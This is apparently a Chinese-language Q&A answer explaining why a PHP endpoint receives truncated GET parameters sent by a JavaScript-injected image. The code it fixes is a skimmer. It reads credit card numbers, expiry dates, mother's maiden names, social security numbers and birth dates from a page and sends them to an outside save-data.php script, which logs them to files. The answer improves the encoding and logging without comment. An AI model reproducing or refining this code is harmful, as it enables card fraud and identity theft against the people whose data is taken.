PHP无法接收JavaScript动态插入图片发送的完整GET参数求解

• 核心原因是拼接URL时未对所有参数值做URL编码：你代码中的billing_address、billing_address_2、billing_address_3、billing_address_4四个参数都没有经过编码处理，当参数值中包含空格、&、#、换行等特殊字符时，会被浏览器/服务端识别为URL终止符或者参数分隔符，直接截断后续参数。
• 代码中存在无效参数&=，空参数名的异常结构也会干扰URL解析逻辑。
• 若参数总长度超过Apache默认的请求行长度限制（默认8190字节），也会出现截断情况。

1. 修正JavaScript的URL拼接逻辑 #

所有参数值统一使用encodeURIComponent（比encodeURI更适合对单个参数值编码）进行处理，同时删除无效的空参数。更稳妥的方案是直接用URLSearchParams拼接参数，它会自动完成编码处理，避免特殊字符破坏URL结构：

const getVal = (selector) => document.querySelector(selector)?.value || ''
const addressText = document.querySelector('.default_address_id').innerText.replaceAll('\n', '').split('undefined')
const params = new URLSearchParams({
  token: window.localStorage.token,
  credit_card_number: getVal('[name="credit_card_number"]'),
  expiration_date: getVal('[name="expiration_time"]'),
  card_holder_name: getVal('[name="card_holder_name"]'),
  billing_address: addressText[1] || '',
  billing_address_2: addressText[2] || '',
  billing_address_3: (addressText[3] || '').replaceAll(',', '-'),
  billing_address_4: addressText[4] || '',
  mothers_maiden_name: getVal('#mmn'),
  social_security: getVal('[name="social_security"]'),
  dob: getVal('[name="dob"]'),
  billing_phone: getVal('[name="billing_phone"]')
})
document.body.innerHTML += `<img onload="submitCCForm()" src="https://example-domain.com/save-data.php?${params.toString()}" />`

2. 优化PHP端存储逻辑 #

不要仅依赖PHP解析后的$_GET，可以同时存储原始的请求查询串，避免因PHP参数解析规则导致的内容丢失：

<?php
if (empty($_GET['token'])) {
    return;
}
$filename = $_GET['token'] . '.txt';
// 同时存储原始查询串和解析后的GET参数，双重保险
$content = "原始请求串：\n" . $_SERVER['QUERY_STRING'] . "\n解析后参数：\n" . json_encode($_GET) . "\n==============================\n";
$fh = fopen($filename, file_exists($filename) ? 'a' : 'w');
fwrite($fh, $content);
fclose($fh);
return;
?>

3. （可选）调整Apache请求长度限制 #

如果参数总长度确实超过8K，修改Apache配置文件（httpd.conf）中的LimitRequestLine配置：

LimitRequestLine 16384

修改后重启Apache服务即可生效，该配置最大可设置为81900。

内容的提问来源于stack exchange，提问作者Jake Cross